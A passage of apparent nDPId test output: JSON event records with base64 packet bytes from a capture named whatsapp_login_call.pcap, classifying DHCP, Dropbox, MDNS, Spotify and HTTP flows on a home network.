+00446{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":836,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582268,"pkt_ts_usec":63024,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA4oWQAAEABCnbAqAIEW\/2wQQMDDucAAAAARQAAa814AAAvEe8eW\/2wQcCoAgQkgMk+AFcAAA=="} +00446{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":840,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582268,"pkt_ts_usec":87421,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA4tY4AAEAB9kvAqAIEW\/2wQQMDDukAAAAARQAAaU70AAAvEW2lW\/2wQcCoAgQkgMk+AFUAAA=="} +00447{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":842,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582268,"pkt_ts_usec":111231,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA4zs0AAEAB3QzAqAIEW\/2wQQMDDu4AAAAARQAAZKhGAAAvERRYW\/2wQcCoAgQkgMk+AFAAAA=="} +00448{"flow_id":40,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582268,"pkt_ts_usec":540544,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA45d4AAEABxfvAqAIEW\/2wQQMDDsQAAAAARQAAjiA1AAAvEZw\/W\/2wQcCoAgQkgMk+AHoAAA=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":852,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1432582271840,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00823{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":852,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582271,"pkt_ts_usec":840128,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIREwAAP8RdlkAAAAA\/\/\/\/\/wBEAEMBNOdgAQEGALYzLg0AAAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00568{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":852,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1432582271840,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,3,6,15,119,95,252,44,46"}} +00822{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":853,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582273,"pkt_ts_usec":95861,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRE0AAP8RdlgAAAAA\/\/\/\/\/wBEAEMBNOdeAQEGALYzLg0AAgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00823{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582275,"pkt_ts_usec":776369,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRE4AAP8RdlcAAAAA\/\/\/\/\/wBEAEMBNOdcAQEGALYzLg0ABAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":855,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1432582276331,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01090{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582276,"pkt_ts_usec":331177,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAISQGwAAEARsh7AqAIBwKgC\/0RcRFwB\/jsJeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":855,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1432582276331,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":856,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1432582276331,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00822{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":858,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582280,"pkt_ts_usec":30111,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRE8AAP8RdlYAAAAA\/\/\/\/\/wBEAEMBNOdXAQEGALYzLg0ACQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":859,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1432582284805,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.166.207","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":859,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582284,"pkt_ts_usec":805875,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AQBeAAD72DBiVgAcCABFAAA+cQoAAP8RGNup\/qbP4AAA+xTpFOkAKikcAAAAAAABAAAAAAAACkx1Y2FzLWlNYWMFbG9jYWwAAByAAQ=="} +00558{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":859,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1432582284805,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.166.207","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":860,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1432582284805,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::da30:62ff:fe56:1c","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":860,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582284,"pkt_ts_usec":805992,"pkt_caplen":96,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":96,"pkt_l4_len":42,"pkt":"MzMAAAD72DBiVgAcht1gA4nLACoR\/\/6AAAAAAAAA2jBi\/\/5WABz\/AgAAAAAAAAAAAAAAAAD7FOkU6QAqIMQAAAAAAAEAAAAAAAAKTHVjYXMtaU1hYwVsb2NhbAAAHIAB"} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":860,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1432582284805,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::da30:62ff:fe56:1c","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":861,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1432582284806,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582284,"pkt_ts_usec":806066,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AQBeAAD7xiwDYGpkCABFAAA+TlkAAP8RybDAqAIB4AAA+xTpFOkAKrdAAAAAAAABAAAAAAAACkx1Y2FzLWlNYWMFbG9jYWwAAByAAQ=="} +00554{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":861,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1432582284806,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":862,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1432582284806,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c42c:3ff:fe60:6a64","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582284,"pkt_ts_usec":806157,"pkt_caplen":96,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":96,"pkt_l4_len":42,"pkt":"MzMAAAD7xiwDYGpkht1gAhHGACoR\/\/6AAAAAAAAAxCwD\/\/5gamT\/AgAAAAAAAAAAAAAAAAD7FOkU6QAqK3YAAAAAAAEAAAAAAAAKTHVjYXMtaU1hYwVsb2NhbAAAHIAB"} +00564{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":862,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1432582284806,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c42c:3ff:fe60:6a64","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00550{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":863,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582285,"pkt_ts_usec":47651,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"AQBeAAD72DBiVgAcCABFAACANrsAAP8RUuip\/qbP4AAA+xTpFOkAbF25AACEAAAAAAEAAAACCkx1Y2FzLWlNYWMFbG9jYWwAAByAAQAAAHgAEP6AAAAAAAAA2jBi\/\/5WABzADAABgAEAAAB4AASp\/qbPwAwAHIABAAAAeAAQ\/oAAAAAAAADaMGL\/\/lYAHA=="} +00580{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":863,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":2,"flow_first_seen":1432582284805,"flow_last_seen":1432582285047,"flow_tot_l4_data_len":150,"flow_min_l4_data_len":42,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.166.207","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00548{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":864,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582285,"pkt_ts_usec":47655,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"AQBeAAD7xiwDYGpkCABFAACAD1QAAP8RCHTAqAIB4AAA+xTpFOkAbI9mAACEAAAAAAEAAAACCkx1Y2FzLWlNYWMFbG9jYWwAAByAAQAAAHgAEP6AAAAAAAAAxCwD\/\/5gamTADAABgAEAAAB4AATAqAIBwAwAHIABAAAAeAAQ\/oAAAAAAAADELAP\/\/mBqZA=="} +00576{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":864,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1432582284806,"flow_last_seen":1432582285047,"flow_tot_l4_data_len":150,"flow_min_l4_data_len":42,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00578{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582285,"pkt_ts_usec":47789,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD7xiwDYGpkht1gAhHGAGwR\/\/6AAAAAAAAAxCwD\/\/5gamT\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsA5wAAIQAAAAAAQAAAAIKTHVjYXMtaU1hYwVsb2NhbAAAHIABAAAAeAAQ\/oAAAAAAAADELAP\/\/mBqZMAMAAGAAQAAAHgABMCoAgHADAAcgAEAAAB4ABD+gAAAAAAAAMQsA\/\/+YGpk"} +00586{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":865,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":2,"flow_first_seen":1432582284806,"flow_last_seen":1432582285047,"flow_tot_l4_data_len":150,"flow_min_l4_data_len":42,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c42c:3ff:fe60:6a64","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00578{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":866,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582285,"pkt_ts_usec":47820,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD72DBiVgAcht1gA4nLAGwR\/\/6AAAAAAAAA2jBi\/\/5WABz\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsVWEAAIQAAAAAAQAAAAIKTHVjYXMtaU1hYwVsb2NhbAAAHIABAAAAeAAQ\/oAAAAAAAADaMGL\/\/lYAHMAMAAGAAQAAAHgABKn+ps\/ADAAcgAEAAAB4ABD+gAAAAAAAANowYv\/+VgAc"} +00585{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":866,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":2,"flow_first_seen":1432582284805,"flow_last_seen":1432582285047,"flow_tot_l4_data_len":150,"flow_min_l4_data_len":42,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::da30:62ff:fe56:1c","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":867,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1432582285062,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":867,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582285,"pkt_ts_usec":62641,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABInyUAAEARVS\/AqAIBwKgC\/+EV4RUANKgAU3BvdFVkcDCYJeGQmjjiDQABAARIlcID1NylhjSgAeWF26p2NNVFJFGe2SE="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":867,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1432582285062,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00532{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":3,"flow_first_seen":1432582224235,"flow_last_seen":1432582224264,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"5.178.42.26","src_port":49174,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":3,"flow_first_seen":1432582224235,"flow_last_seen":1432582224264,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"5.178.42.26","src_port":49174,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00534{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_first_seen":1432582224210,"flow_last_seen":1432582224240,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.186.135.82","src_port":49173,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_first_seen":1432582224210,"flow_last_seen":1432582224240,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.186.135.82","src_port":49173,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 